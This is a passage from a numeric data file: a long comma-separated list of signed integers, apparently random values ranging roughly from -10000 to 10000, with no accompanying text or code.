,-4210,7986,-7062,9672,3195,-9270,-8981,7751,9957,-1801,-9952,1358,4654,9447,9388,4721,-8581,1065,-7338,-8654,5634,3120,-7688,-5353,9439,-2723,-3063,4391,-1930,2187,-8752,-8946,5144,-7173,3084,3862,-7904,-7900,-1167,215,5051,6219,8138,7895,2417,4848,-4868,7088,5333,-5606,-5162,-9797,9878,4761,-499,6045,-7388,-5857,4172,-8009,3261,-6022,-7511,22,-393,-2945,4746,4317,-4188,-3721,-2604,4965,-4531,3823,7617,1724,-9304,-3596,-2585,-766,2895,4302,5288,-6808,-6313,-5479,7709,6252,-1723,5717,6075,-7945,544,-8103,-6244,8538,-8838,642,1179,4821,-7881,9226,4221,2018,-4920,-7555,2873,-5894,-62,4060,-8889,7044,1112,6553,-6095,1806,3670,4659,-2574,-2517,-2404,-6520,2563,3243,-3131,5008,4635,2986,5699,6321,-68,-7985,-4293,-8013,5561,-4267,-8299,6973,-9663,-4036,-45,4792,-103,-1268,-7834,-1794,-6906,3991,-8770,3123,-5457,-1488,-7364,-5760,-6474,-8952,-1656,-9689,-2043,4554,8600,-1236,-4874,-4064,4134,-8500,273,7009,-2146,933,-3056,6125,-8445,7206,-7754,7913,-5405,1626,2329,4469,3214,-5285,-3638,-4562,7295,-9442,-6370,2617,-2941,7692,3034,6279,-5427,3136,2725,1313,3416,5570,-6541,-521,-8982,1998,-1175,5973,8712,7347,-3750,-6585,7538,-1005,5714,1325,-5309,-330,-7873,-3058,-105,5658,132,5956,-3176,5632,6112,-8422,753,-4130,-5859,7232,-6986,-7599,8696,476,-3070,-8789,4926,4868,-9773,-4208,3636,5280,5362,-1057,8924,-2192,8958,5738,-4307,-6188,3480,6435,-7253,-2034,2313,6261,-6763,8515,-5120,-7998,5778,-8240,1936,2226,-7698,2136,-1341,3357,7305,4273,-7877,-5512,-5523,3651,3865,-6612,9609,3538,305,1331,-6431,8612,-364,-3599,-2221,-1047,-5914,8542,1952,3111,8724,9132,683,-7887,6849,6344,5460,6972,1473,-9842,2720,-5592,2149,9219,2069,8993,2238,-6377,-3003,-536,-1184,-4496,-9235,-1911,2360,9021,-3774,9170,2376,737,4581,-3255,1243,-4815,-1782,-7471,9842,5645,9429,2678,-1163,8637,7672,-6945,-5009,-5938,6869,-162,-3530,876,-4290,-4827,-8383,8946,6152,6300,2537,5265,6650,-4716,-5708,-5462,-3223,4898,-609,7614,1615,-9457,-1209,-4398,2699,2227,-3652,2683,-3876,9933,6805,5164,-8134,-351,9856,-7276,6649,6715,-3764,1084,6291,250,-3073,2207,-3771,-1969,9907,7519,8268,2074,-4594,-3254,3112,966,-9138,4612,-2486,-7789,5931,-6088,-5325,-8630,-2571,9920,-9528,-5290,-6614,3804,1722,6940,511,5329,-1931,-4739,-4830,-9845,1884,8395,-5182,-4709,5536,3613,5609,9261,-506,2469,-2661,-6567,2183,-1667,8575,1676,8757,-9281,2024,-8003,8446,749,-4294,6865,-2480,-8685,3462,5616,2115,-6350,-9612,7064,4457,-6268,-9853,-6004,-1060,-8290,3602,-9537,-5194,5690,1115,-2133,-8727,-2137,7052,698,-2634,4864,-1632,949,-2589,6469,6204,6680,-8413,256,8057,-760,-6225,-1143,-3985,675,9395,9049,-6141,9758,2440,-2168,9391,2434,7716,-3490,7154,-9215,-444,-5821,2233,6609,541,-2389,8169,2912,2572,-7914,8854,-7206,-4831,1078,8831,-2439,-4438,5005,7426,8700,1364,2991,-9677,-1122,9594,-2814,-1259,2599,1759,8713,9265,8546,-5532,4713,-8544,-8998,-4946,-3445,-1889,-8582,-5296,4729,9328,2283,-8274,2201,1159,8088,-8469,-3981,6551,9250,-8173,5900,2746,4553,-8785,-7201,-8856,7400,-7770,-5640,-5081,-9229,-4357,-4730,9342,-3098,6629,2482,-2647,-8369,558,-8767,4046,3654,-2448,-9852,9991,-296,8325,-542,-8330,5546,-3055,3690,3745,-8589,-3290,2454,-7142,-5518,-6679,8304,4311,-4915,-1790,-484,-4662,5240,1591,1657,-6246,-2562,-4415,8324,-2857,-1313,-2086,869,829,9929,6054,3873,-820,4110,-3411,-6893,381,-6217,-1284,2741,-962,-667,-7956,-2718,4793,-6699,-3347,-6584,-2882,3254,-3616,-3626,-4367,-182,3816,3809,6942,1655,-2300,-4960,1695,-3511,-2526,533,7204,-9972,5301,-6499,-7452,-1078,4256,4851,-9066,-5391,315,-4784,-7074,2556,6566,3852,-9732,-282,9694,8866,2714,2328,-3101,-2363,1916,-3146,-8756,4426,1600,1487,7572,7137,5350,-2990,-830,2219,-428,-1715,-4567,7826,-7373,-3875,-8478,-4696,-3158,-3597,3103,3625,3827,7306,-4441,4908,7995,9553,-8572,-5647,-6292,-4884,-9889,-3739,-6698,9701,6274,5334,-4676,-2241,-3526,-5918,-3786,-4300,-9564,-9579,7830,4801,8808,7517,-5238,-3990,5263,-8788,-2298,-3324,2587,8466,2325,6348,6202,-1178,129,-8819,-7634,-4345,7834,-9921,7864,5478,1026,-483,4090,1735,6563,5037,-7625,2658,-7322,5255,3722,3440,-9409,4167,8378,-2406,-2026,5222,-5473,8285,5243,-7408,-5085,-8883,263,5315,3008,2597,-2380,-4786,-4453,-4314,-4823,-8275,5532,3207,-3042,-3657,-6783,4526,7300,-2422,184,6305,-2575,5055,8825,-6873,2751,-4460,-2054,-7971,-9014,-9390,-8555,5548,8064,-743,6897,1987,-9647,-3979,-7021,-3683,6259,2962,4578,3611,-9961,4227,-1256,8187,9274,-1347,-2813,3482,-6685,492,-5681,1881,196,-5787,5838,-5549,8277,3752,-6272,-1051,-9930,-8149,4187,-9758,8829,3217,1902,-2783,-6566,-6013,5745,-969,5737,952,4644,-7293,-7271,4606,-3459,1061,-1500,6800,-2357,-965,-8577,5633,-9913,-2087,2265,-8407,-7823,171,2611,-1993,-9833,3652,-2271,4863,7488,1692,-6851,-2595,-9746,-7075,7563,842,2722,2639,-8922,8074,-5683,7661,3259,9400,-5819,4446,1194,8887,1844,-6677,5351,-78,7481,9954,240,-7391,-9650,-2805,7487,-5605,1917,238,2534,-9180,720,9696,-8054,-9173,2958,4291,6710,-8342,-8052,8953,-4574,6688,-4049,8358,4537,-7777,4844,5221,-4957,4003,5704,6875,-9236,-1375,7457,6155,-84,6109,1455,-4745,-3961,6789,-5502,-5080,-1302,-2285,2342,7296,-5981,4245,-8602,8947,-7929,-2242,-5483,-5168,247,-9220,-6857,3265,-1279,-9877,-6568,-6010,3257,2711,-2319,-1144,1982,-3228,2703,-2920,8388,7244,-9307,-2444,-9195,2782,-1946,8137,-3882,-6182,-6809,-4640,-1963,6637,-7398,-7893,3886,3080,2459,-5999,-8328,-3759,1801,-9787,5320,6524,3801,3331,3343,-5931,3968,1045,5557,-8563,4243,-9951,-5084,-8969,9217,-3860,-9363,9286,-7480,6795,3802,974,1932,-3958,-6470,-6637,474,8545,-6705,3188,4993,6132,3319,-7595,-202,5959,-2908,3125,-3833,8705,-161,-8399,6004,-8426,-2576,-6773,-1587,-5406,2171,-4096,8898,6571,83,8688,-271,-4427,-3562,-2786,-6407,-4092,-669,-8318,-8214,-7782,8940,-4652,-7665,9717,8839,5278,-3415,-2894,-2060,-2278,-1935,-4178,-6525,-708,-300,9419,8056,9133,-666,5159,-1507,-675,-6126,5855,9794,-4011,8689,2569,4124,1394,-535,5945,-5959,-8191,-7110,9958,-9028,-9568,-9142,3759,-6997,-2796,-731,-9145,1891,5140,-9419,-6805,4653,3757,-58,6555,727,7144,-1627,-9763,9512,9692,6406,-5743,-6293,-4535,8875,-1861,8111,5281,-1995,5898,3314,6521,-9513,-8325,-2898,-27,867,5340,-7731,4962,-7014,1261,8703,-8641,-5920,9001,-2081,-2583,-9163,-9072,-1673,9183,-5921,-9801,-8557,-7058,9094,-7712,-173,-1725,6928,-3043,4763,3972,-265,-528,-9349,4894,-1675,-4808,-1554,-8030,1214,3975,-9152,-2164,5066,4281,9732,9533,-9445,-3162,-6106,-7198,-4528,8754,-9471,-1881,2598,780,1260,4959,7253,-7978,-2472,3958,-5272,4145,-1509,-3344,9876,-1978,-4354,-8949,7068,7374,-4581,-7536,9098,-5069,7085,-6828,-1165,8817,-8462,-5572,-9989,-6774,4682,7157,4162,-6878,1007,902,4580,6016,5663,8601,-9009,5519,7876,-1288,2627,-8608,5816,-4025,9188,-5535,1062,-9239,-2710,7816,2071,9639,7121,-214,4241,6549,5432,5950,8848,-2291,-9669,-1729,-3542,-9998,7774,5097,-9609,8094,-6428,-1774,998,8299,-5792,-3909,-5942,13,-9541,8232,5465,836,-3574,2646,-7694,-3434,-5712,4490,-7785,-8710,1671,9540,4418,3803,3386,6072,574,-2093,4784,4340,-3913,4223,9144,6511,-8115,3856,-5128,5102,-9102,-9189,6275,-7844,-7288,-797,7324,4518,8832,-3273,-5143,5703,8165,-3108,-394,5930,8424,6589,-1099,249,6357,5096,-4935,9358,2938,9764,2859,9327,-3533,-4433,5610,176,-1699,4521,-5645,-6908,-4456,-316,-2627,-7233,4260,-8050,99,1853,1111,8984,6590,-1570,3587,9700,2191,2871,-4145,-6613,-4805,7580,-3577,-3175,-6294,-2028,3174,-5587,6008,4602,2094,7587,-2644,-6811,7147,-5003,-5393,4681,-7503,-7850,-5485,5874,-1392,8738,-3036,862,7225,8155,-8141,-7917,9912,3660,-1754,-2158,1739,8427,4727,9397,-4922,1402,-9646,3014,1799,8328,9890,7456,1446,5455,3022,-3333,-9466,3209,3544,3494,-6529,-6357,9724,-8715,-7135,-9420,2218,997,-7459,2239,2195,-9830,-9186,4647,3507,-3288,-7713,-4632,-8866,-2247,-6316,-4882,1213,5335,-1997,2419,-9959,269,-2560,346,-9201,161,-9364,-2539,2082,-8162,8613,4430,7422,5374,-4513,2241,-8396,-3983,-8316,-7943,4344,-5129,1447,3140,-451,-5347,-5329,8412,-7324,5197,475,1462,6160,6730,-3167,-1851,-614,43,2426,9057,1963,1443,-3819,7186,897,-3785,-7358,-6691,-6745,122,-324,7326,899,255,7139,3605,178,-1094,3678,5444,-6518,-8712,389,-2999,4882,-19,3821,5769,-8690,4419,5885,-2527,4121,-2530,-8794,-8483,-8172,5143,-7990,-9279,3173,7757,-9862,9582,-6563,-1366,6249,7342,-7328,4178,5960,6398,5809,-1808,2733,803,309,-8485,-2356,-8122,-809,-5619,2853,-4557,-9761,3588,-3629,7496,-208,-3099,-8167,-5446,1467,191,5977,2126,-4927,-5650,-3137,5677,-6181,1255,-3886,1841,-8841,7891,5169,355,-5709,-5909,-4008,6614,-9095,-7404,-7553,-1362,-6840,-5839,2296,6196,5805,-1615,-1938,-408,4599,4480,-4487,4148,5971,-1133,-2210,4966,-5213,1923,6083,2951,-5222,9615,-6709,4974,9684,-4522,-7654,-8419,5491,6042,-7650,3110,-2815,-3016,-6623,9501,-4720,-3877,-7450,-3286,8830,-9459,-5815,4440,-8875,549,-4033,1037,6077,4984,5867,-9096,-9308,-2464,-2231,-8748,-758,7289,-7901,-3423,-8035,3987,-9071,-5865,6055,7390,2288,-9212,6955,-9461,4076,2877,-6528,-5983,5148,-5188,-5366,4550,8607,8647,-4420,5937,7509,-2465,9848,9471,-5570,6737,-7699,-916,-457,2846,3658,9092,6508,2564,-1387,-6255,-9505,-4419,9467,-6671,-8261,-2368,-9467,-1234,6033,8996,-3302,4323,-801,-851,-9413,7880,-1084,-2105,3263,-7033,1705,-7924,3788,-2423,-3519,4453,6451,-6979,-9374,-2668,-5827,4497,4598,8076,6308,217,6388,2543,-3253,-8384,-7441,-822,-5924,554,-640,-1733,-4411,9211,2165,-7136,9007,-7672,651,9410,-2365,-4193,-1296,-4821,-627,-6910,-5420,316,-8599,9493,5367,9751,5576,8046,3956,-11,4836,3666,-6716,-7078,7582,7748,-4410,9291,-9510,713,4510,-3624,-2385,-5408,3733,7607,4719,7166,-7315,-6640,-5550,5899,-2501,-1755,-1623,2432,7636,-274,9173,-8936,8770,-7381,6717,-75,-6766,-4842,3726,2600,2847,6199,-1547,-9268,9356,-4768,2829,-4333,260,6870,3072,-3820,6505,-1337,991,-2559,506,6465,8075,5501,3073,9547,1503,-6642,-8552,-8429,8398,8362,-5358,3621,-7435,-4054,8397,-3227,-3429,4392,5600,-6562,6131,-7277,-7237,5405,-5277,4175,-3380,8877,6839,6245,8236,-2961,-5230,7917,4924,3674,-9481,5684,7442,999,5004,-4013,-176,-4573,5129,-6787,-6052,-3765,-3470,7936,-3403,-5,-8346,4007,5766,5214,-3002,8897,1745,-3925,531,-7211,2099,-7279,-136,-9146,9994,-9534,4579,-5516,6129,-7671,9922,-3794,7595,-8257,2019,609,6431,9194,-5044,6359,-5459,7762,5724,4732,-4381,-6775,2530,-7563,4884,2350,1577,8017,9193,-1664,3877,9085,-3868,-8559,-2809,-4023,-3585,841,-5573,-6342,8846,-1652,9008,7853,-6017,5824,-2827,-3993,-5083,3697,-2188,9824,2748,-6772,-1703,3593,-7368,-7962,-1267,7941,5979,-181,6269,-2394,1662,-7098,6922,-9329,8379,6890,-1674,-5652,7143,-3587,-1577,2386,723,-1859,2067,8503,1789,-1379,-3277,-5481,4950,3438,-1216,1602,906,5274,442,8320,-8721,-3712,4611,-3444,6600,-3878,-2759,4195,645,-5253,-5227,4127,4415,-2314,-5777,1779,-8165,2323,-1846,6437,-7354,4964,-9046,-4138,-7305,8035,-3391,951,7371,1012,-5748,-3024,2488,6573,-9806,-6003,9162,-9428,-4134,-9077,-2802,1797,1701,3443,7686,1154,6803,-7419,-6827,-846,-8807,-5207,8228,-2220,-6157,-9872,-2258,7626,664,5913,3088,2750,571,-3097,-42,-5362,-8783,-906,-5193,-7631,5245,1971,-1676,7818,1831,3135,-6670,-4944,8745,807,-7456,3104,-8278,1067,6157,-5077,9438,-3125,-625,-7637,875,2002,634,-9818,7387,-2881,8436,4343,3165,2166,-8916,-8228,6923,-7931,3235,-8892,-1350,133,7821,-3855,568,7875,-1520,-4719,-9847,-4254,9888,5849,-9221,-7669,-5319,8440,5881,7129,-6719,-3558,-6200,2531,-1941,5062,7233,9481,635,-7518,5968,-6957,-6307,-6683,-8087,-9643,-4877,-9813,-4970,3001,-2582,-2616,-5626,-3942,2015,2455,-288,9452,2301,416,-5126,-9738,5403,8465,9362,2659,830,884,2020,-6684,-831,5414,-7623,8910,2954,-591,-7413,-4822,4506,7116,-193,-497,-6261,-4029,-2147,-5659,-5629,-6572,-1171,2988,-4904,8481,2300,-4963,-2124,1087,6916,-7781,-3395,8476,-69,-5910,-3836,3601,-8047,9461,8338,9709,-2334,8906,-6948,-1526,-6628,2984,5531,449,-5861,4797,8977,1585,525,-3818,-2835,7884,-6363,4435,-5579,-3628,5290,6924,1430,-6558,9437,-2956,-2840,9905,-7412,-9033,6908,6463,7565,-874,-7913,-6946,9416,2492,4403,2706,1790,4780,-6509,-5031,2404,5837,5424,-3023,4335,-4183,-3370,-1351,-4790,7007,8680,-9918,-1605,7560,-9059,-1432,-3132,6781,-2770,4346,-6321,4824,300,-518,9702,-3367,9821,9106,6825,-2433,3332,-8124,-2370,8851,647,-5543,-9566,-8517,706,7811,9807,-9892,5801,-737,-403,60,-6163,8115,7833,-4044,-7093,-3104,9375,-3722,4372,40,-9019,-1199,-6133,5829,-2655,-7702,7269,5230,7302,1442,-712,5192,8100,-8098,-7437,-35,-4069,7804,-8113,2501,715,7605,-7416,7729,2813,-5637,-6427,-8130,5895,5493,-7641,-6164,8247,4030,-6794,-3331,-3950,-896,5343,6611,-236,-4866,6678,-9519,-9427,1567,7648,-7278,-7055,6360,-4736,1731,-8631,-8069,-1531,9500,-9434,-2744,-6168,505,7652,3744,-1307,-8334,4541,3070,-4259,-9038,-4073,-4034,6900,-868,5153,-5949,1814,-1002,-5706,759,6254,-7176,-4393,3131,5681,3153,8241,-6264,9302,3282,6301,-5727,-6478,-9635,35,358,6732,6000,978,459,5123,2208,4987,-4627,1833,-1512,7602,-3842,4275,7081,-807,4083,-5925,4324,-3425,-1414,-2806,9404,6302,1338,5185,4930,9928,7872,-6736,6991,-3412,-9621,9249,-7317,-4091,-9029,4027,414,9995,-3625,1811,408,-4093,199,9644,-6797,3841,-6546,6734,-2494,-4951,6550,4140,-6854,1479,5211,3218,-4886,9683,1715,537,6558,7405,3718,335,6708,6506,471,820,-9497,-8100,-8816,-5961,8791,5719,3770,-7,7543,5743,8396,8364,-3550,1276,-8023,-6714,-7597,-2969,-2879,-5154,-8833,-239,-8693,7417,-4489,-2876,-7679,66,-9704,5623,-2762,3069,9156,-2505,-2680,-5273,3175,-1459,-759,3035,4277,3229,772,3867,-1014,-1649,7993,-7478,-8475,578,9236,5167,-6430,6141,3529,-8623,-8621,-3728,5191,3635,-9194,9024,5582,-9274,-4580,2625,-6221,-7778,4968,-1804,3345,8743,5482,-9785,6516,1263,5994,585,-1646,-6807,-2373,-7661,1990,-8870,-2782,-8591,7353,-5635,7472,3914,6888,-657,-624,4222,-9884,-6689,3154,-2000,-7061,3117,-6704,4101,-1222,-9256,-3757,-5877,-829,-9004,-9273,5942,175,-4976,-414,9233,-3260,-63,-2981,5796,8451,-907,5083,-5268,-1651,1562,5528,-3464,3979,-1243,8135,8348,7097,7528,-594,-3079,9829,-2308,-4902,7486,-1700,9970,-1906,1419,-8409,4421,-5278,-9993,4004,3211,-5730,-1224,2073,7815,-6404,-5553,770,1518,-7004,8533,1755,2791,-8182,-9786,-6575,-6220,5815,4862,8580,-2001,-5812,-6521,9854,3143,-9190,-2510,-8683,-1599,8981,-644,-9996,-8592,9516,9417,-4372,8066,8886,-8804,4812,9845,-2481,-336,-3598,-2280,-249,9798,3511,-2171,6186,-3658,-4430,8938,3465,7550,3526,-7443,6193,8852,6009,7192,2258,-4483,4517,6582,-4316,7747,-812,9317,4206,1586,724,-1359,-6929,-7728,-3595,-1118,-404,-2108,9962,-2120,1641,-1237,1066,3687,-1442,2591,6493,-4919,-4560,-9302,2838,-554,652,-8674,879,-51,-879,827,-6866,3305,5962,7625,-7464,4989,2839,7939,-6633,4903,-7866,-4,-7049,-2489,-1567,1138,-3966,799,6312,3132,7344,5537,6697,-2937,-4162,7168,-569,-3656,2942,4356,-1321,-7051,-5975,9757,-4161,5781,6030,7730,-8074,4698,3075,9511,3422,3098,5093,9050,-4245,-6448,-8835,-1420,324,-2067,-4778,-1710,7623,4662,-740,-2215,6719,2476,-1737,9434,731,-6213,1837,-3005,-2283,-6256,-1277,3717,6076,3309,7684,9303,-3751,5276,-3381,28,8587,2915,2092,-6061,2306,-2516,-1726,9102,-3426,968,8931,-3189,-3655,9325,121,9507,8175,-963,7656,-32,3114,-5269,7665,-1895,8104,275,6880,8019,-852,1878,-3484,5189,3535,-6960,4093,-3929,-7213,3633,-8719,-4037,5986,8148,366,6320,-5739,-5977,-6,-4016,7660,-9041,3146,-6651,9864,566,2428,9536,-7428,-6770,8880,5466,6769,9289,-516,-489,-2724,-2190,519,-7162,-467,-2052,-6618,-7760,6292,-4525,-5790,6058,6798,528,2999,139,9116,4008,5818,-6097,-219,9502,-5208,-7755,-8126,-2664,8003,-3258,9613,-885,5713,1222,-7651,-6848,-5688,-7775,985,-9637,4557,-9812,-5720,550,-4100,1769,1171,6652,1130,1445,-8271,1184,7453,1732,4532,-3118,-7742,3388,-670,-883,-989,-9657,2907,4129,-7798,9005,-4870,7742,-8812,1303,3056,-8111,6884,8101,4880,2825,4000,-3074,-2301,-7144,-9113,937,-2537,-4292,3016,-5283,778,2032,4758,9352,-8994,-4995,2560,9244,4938,341,5139,3971,-2887,-719,-9716,-2637,304,-9346,-7614,6766,-8546,-3699,7454,-4146,4992,4860,4879,-930,1422,-7792,8008,-722,-4353,-511,2981,-4921,3861,8067,266,6347,-496,6176,-3249,-9031,-2761,3071,8976,-4452,-9817,-4775,-4287,-9694,4925,-9421,3521,7438,2081,-434,5227,7316,-6965,-6830,-5121,-5891,7126,2781,4345,6416,885,-1041,4203,6115,-680,5637,9777,-3345,-3928,194,6062,-5666,3607,8671,4508,-4541,4455,4623,1587,1927,-5958,9068,-4045,-7892,-6782,-865,5686,4084,-8904,-9973,3347,-8743,-8951,6676,2507,7167,-2641,9172,8779,-157,6050,-1461,-3973,8305,-8668,-1168,3964,-6174,5924,819,-9309,5033,5618,-74,5082,2148,-5258,-2673,-583,6319,-4424,4895,103,-286,2490,7863,2123,4794,-2950,8555,-4791,-6118,336,-6681,2768,3830,-3641,-2418,-8848,-6055,4171,-595,-6667,6280,-5471,5355,-5575,-2780,2524,-3252,-6916,733,6861,-863,-873,-7733,-5172,-710,-3427,-6242,-7137,-3489,-8048,-1524,7445,-9426,1802,4080,-9981,-9711,5077,7265,-4144,-7759,1918,7990,-1301,5984,-7711,-6359,8334,-3957,7483,5551,6496,-6223,-5574,697,-2431,-1433,7968,-9119,835,5892,1025,6699,-5725,9176,8394,3859,4020,-5585,-3279,-9827,2685,-2497,1532,6944,7763,3915,-4860,-2564,2331,6162,-3994,-1484,3342,3631,-5555,-7627,1629,6913,1800,9411,-6367,-3798,1282,3603,-6150,8989,193,-474,9852,-6068,-9705,-7826,6687,5722,-9794,-3896,3392,-751,-4732,-5158,-6799,-5019,6130,-4497,-6496,-7816,1284,-5030,-1871,4757,-1154,2540,-468,7942,-3535,-2773,2861,-9580,1136,-6743,-6732,9628,5524,-8805,3321,3138,-8797,-7272,-1159,5068,206,1851,-7715,8882,-6617,8244,-5314,4404,5225,728,-8395,8219,849,3627,-357,-9542,9031,-8973,-5034,9728,-8687,-2625,2654,6340,-4226,-6134,-7960,-7259,3107,-9755,7376,1882,-9480,739,-8613,-144,5443,-1976,3677,6874,-1240,-70,8577,330,9630,-4682,-5242,1223,5020,-9345,2740,-5067,-6120,-6720,8921,7836,2568,8963,5013,8927,5554,-5869,-8813,-3848,-5409,-6734,-2299,-9079,1058,-2392,-4982,-746,6656,1627,407,-2459,-3742,-4431,-3714,9432,-5998,-8265,-5043,-2518,-4251,3582,8152,9262,-8993,9923,5300,3938,3163,-2901,-7541,-7350,-9061,-4170,-732,9832,5257,4919,4255,4349,-4326,1074,1206,7854,-3110,2579,959,-269,3731,-4809,-3450,5494,9394,54,-6726,-2594,6253,-1807,2496,7750,1396,-8248,-9052,-1747,5991,575,9817,6677,6793,-5687,-6933,7599,2034,971,-2774,2857,4032,-6245,-8298,-1758,-1720,-9396,1524,3581,-5705,6081,1894,-2250,-2119,5061,2701,-5364,2059,-7007,7760,-1189,3283,-9193,-6586,7187,-6710,5308,4470,8291,2735,5131,9556,-6484,1683,-4880,8492,7435,729,-6144,9387,-2934,-1521,7975,6937,8464,9623,-8109,4646,-2255,4650,-616,-6711,-5970,1642,-9130,-4864,5513,1764,6535,1386,5680,-2362,-6804,-8321,-5963,-3233,4502,-8202,-508,670,6167,-6901,-3248,-4206,1477,-7128,7283,-9616,-4277,-2228,-9954,7920,-1641,-1182,2788,-2578,8442,-2626,-5286,4878,3738,766,-683,-9978,5106,3375,-101,6349,-8344,1399,9449,-1805,3484,-1843,1299,7526,1140,294,-2811,109,-7289,-8519,4691,-9202,9282,-3383,-5562,-1357,3152,-4631,9002,-9810,-915,7777,-5973,-2646,4058,5961,-2227,-2282,8047,8500,7161,5461,-9599,8505,4378,-5823,6668,-9234,-3976,-2906,-4980,4184,6536,-6011,-2572,-5191,5653,7059,-4027,-7103,8123,-6596,-9222,2997,-6381,-7509,-7155,7399,-9814,719,9240,-974,1294,9513,-911,-2924,-6029,89,6636,-8593,-8350,-6451,-4344,6974,218,2321,5103,-6838,-4148,-6834,4231,-9043,-3940,6904,-9507,9235,7666,8159,-3428,7218,93,-4076,-7752,9931,9686,-1120,2223,393,1720,2264,-4504,8177,1453,-6084,-6956,-3974,8447,-4797,-1140,-3982,8645,-8101,-9097,4188,-4191,1520,8935,4627,8373,2965,-1802,3743,6833,2280,610,6409,7397,1757,823,2653,-3859,153,-2467,7208,4948,-6187,5811,-850,-4684,-6471,9538,-9133,-4081,3858,2129,-7312,3970,-864,-1032,-1939,310,-2344,6623,9153,2603,8006,-307,-4568,-1066,-6656,-8360,-2409,717,3430,-8208,6646,-2832,1810,-837,7676,2315,-7140,4157,9736,-808,5373,-1972,-6228,1788,4360,9038,1983,8971,-2487,-399,4826,-7572,1659,3415,1839,9504,8105,8599,-1566,-9722,-9267,8835,-9682,-7102,5208,9993,-2532,-7240,-3267,-5469,8283,-233,7888,2190,-5423,-6216,7292,-1765,9636,708,2355,4876,9999,3781,6748,5385,-3088,740,-7983,-3141,3512,6439,8836,4500,5790,6859,-8322,8133,6641,-5976,2835,5934,-150,6755,-8281,-3814,3168,-6993,-5915,1679,5807,-9821,4839,9333,8519,-4299,-4131,-7894,9464,730,-3466,-1092,1208,-653,1644,-5818,-1634,-5784,-4876,-2393,5354,4902,-691,-3086,-617,-769,4712,-2546,2513,-9016,-6094,-380,-847,-895,9871,-7040,67,-7418,-2817,-1146,4240,-6923,4112,2952,-898,5330,-8423,7654,-1621,3323,-6769,-2180,-2921,-8287,3572,9689,7633,-6874,7791,-4910,-9804,-515,9793,6815,-8840,2424,5560,9390,3870,5352,-411,6662,-7121,8972,-7780,-4218,1119,-977,5418,-1026,-398,828,1449,6612,-9882,4450,-3740,5226,-1562,-4819,-9443,-4252,1733,-172,-861,-5254,-2145,-5124,6538,2852,-2166,-4714,2334,4123,1863,2297,-7705,7898,7370,-1826,-7824,-306,-9289,-9325,3947,1913,956,2216,-9355,7243,2767,2931,-7878,4670,3302,1504,-8359,3758,-9956,8627,-9207,1291,806,-3177,-203,509,6200,7737,-9928,-6390,-294,-7218,-4196,-8220,-9233,2124,-7747,-7864,8739,-2435,-7080,-9994,-5905,-3632,-9435,-5142,1535,3706,5242,643,-4885,8513,9765,-2654,-3451,5184,3860,5741,5647,-6197,-5244,4288,-4609,-8736,5821,8486,-6912,-4498,3445,-3238,6171,1942,3944,-3439,4630,4118,8140,2353,8245,-1069,9234,6510,-4001,587,-1068,-6240,2016,4886,7150,2343,-7002,2236,-6382,-8091,9371,-5135,-2742,-3365,2282,-520,6775,4409,1888,1992,6899,403,-1779,5671,411,-5759,-9398,-8799,2356,-1563,9671,2682,5655,-1082,2673,2947,-2377,-9275,-4999,-4383,-3435,2634,-819,-2046,9496,3042,-8452,-7165,-3822,3905,-5728,5101,5845,-3236,-9933,-4534,-9870,-5497,8079,3612,8634,-3787,-2525,-6329,5639,-897,-47,-9880,7718,5435,-9783,-6219,6672,-8659,5396,-7818,-2603,-9857,-4356,3844,7554,-460,8781,-7202,-5180,-2160,6782,1257,8768,-2785,5175,3616,-9874,7812,7173,-5123,-9712,8214,-2351,-6531,-3473,-6751,8058,7415,5110,9831,-46,-5070,-1422,4016,-5228,3786,-7487,-135,1807,-4275,-2631,8954,2214,529,7060,9900,7984,-6250,-2106,-1719,-9187,2925,-2123,-1474,1073,9382,-8920,3890,3598,942,1123,5277,-4862,-3431,-94,-6503,1636,6353,6168,-5804,-1322,-1766,-5754,3536,-3274,8772,1491,8660,-2070,-1494,1451,4838,6855,908,-7584,1186,-20,5828,8013,-1838,3657,-8125,1742,7201,-5832,8296,-5529,5498,-1469,-9259,147,-7811,4251,-6262,8151,5456,1549,-5433,2713,4013,1022,5468,-7501,5071,6934,2461,-5333,9237,1199,-4225,-6463,-4660,-5621,-2580,-6341,-3697,9412,9446,3284,5094,7937,-6113,-5551,4636,-1888,-919,-6162,-4115,148,439,5758,-1959,5450,7450,-2293,-4505,-2953,-9967,2723,-5431,5488,-1708,401,-1598,6626,1870,-3388,8033,-9227,-9391,-4332,-228,-1246,-7800,8103,9310,-6376,-3193,-7504,-8095,2481,7733,1758,-3014,-9082,-6066,6229,-164,7522,-1643,-8930,1786,5539,195,42,-7621,-7574,-4103,4142,7384,-4014,9091,272,-6855,-3984,-2482,-3496,6651,9314,-2584,-1622,2480,2228,-9003,-7375,-2676,3433,-9718,-9888,-6690,9805,1174,7934,3151,-131,5285,-4712,361,-2980,7053,9926,-7772,-1141,462,5398,9715,299,-4701,-33,6088,8895,-6820,2736,4338,1855,-225,5981,4856,1962,-7099,-5430,-2076,-7899,4927,-5218,2041,-6456,-8477,5732,-7197,-3931,-7580,5237,-2267,-2305,-902,7366,-102,5264,9145,3727,-5052,-4375,-3215,590,9966,-4891,-5496,-8885,8437,2079,3928,8011,-7704,1622,73,-8923,-5022,3179,4226,-4820,-7748,5306,-3080,3180,9747,4048,5459,-5097,-5394,6618,2385,1118,-3161,7739,677,-4837,3990,-1580,-8811,4896,-5661,-2996,-4390,-7111,-530,-5229,-790,7713,-6263,7199,-4981,5025,-7564,-167,3955,2373,-3335,6107,-4409,5133,-388,6052,-970,5267,98,481,-8145,8322,2719,-5338,-1228,811,1865,6831,94,-8793,4680,6064,-9807,1594,1872,1357,-358,-7692,-8473,4422,-1235,6593,4051,-5378,-6977,3096,2100,34,-381,2135,-9357,8377,7200,-5064,4321,-5505,5947,3397,5294,3009,5120,672,791,-3312,1437,-6149,9377,7258,-1413,3425,3156,-4841,-8826,-8941,-2566,5183,-2211,8978,-9969,-2764,5914,7721,-8076,7938,9772,-8697,-4303,-7299,6578,-5838,4088,-4123,-5236,-4133,-9047,9423,6351,-333,-8880,-6423,3569,-5144,-946,-2756,-2468,-1648,-5247,-5413,8254,9158,7989,995,-7540,6065,8678,-2650,5983,5258,-4117,2689,3776,-1502,-3547,-6505,8256,-4168,-741,3246,-2715,-8948,-4743,-1093,4675,8040,5075,5448,-9589,2994,-1164,1458,-7556,923,3686,-8341,-5096,-7153,9099,-7281,1355,-4892,2941,-7109,3909,-4319,2193,-4412,-8164,-2378,7510,-9090,6690,-2442,-7608,2644,-1106,-7977,-9423,8176,4293,6270,-7863,-3295,4477,1441,4389,-4432,8477,-5490,-3251,5678,5710,-3580,-6204,4686,-9393,5044,5016,2944,-77,223,-7802,-1303,5377,8651,-5392,7358,-8066,4205,-9535,4749,5770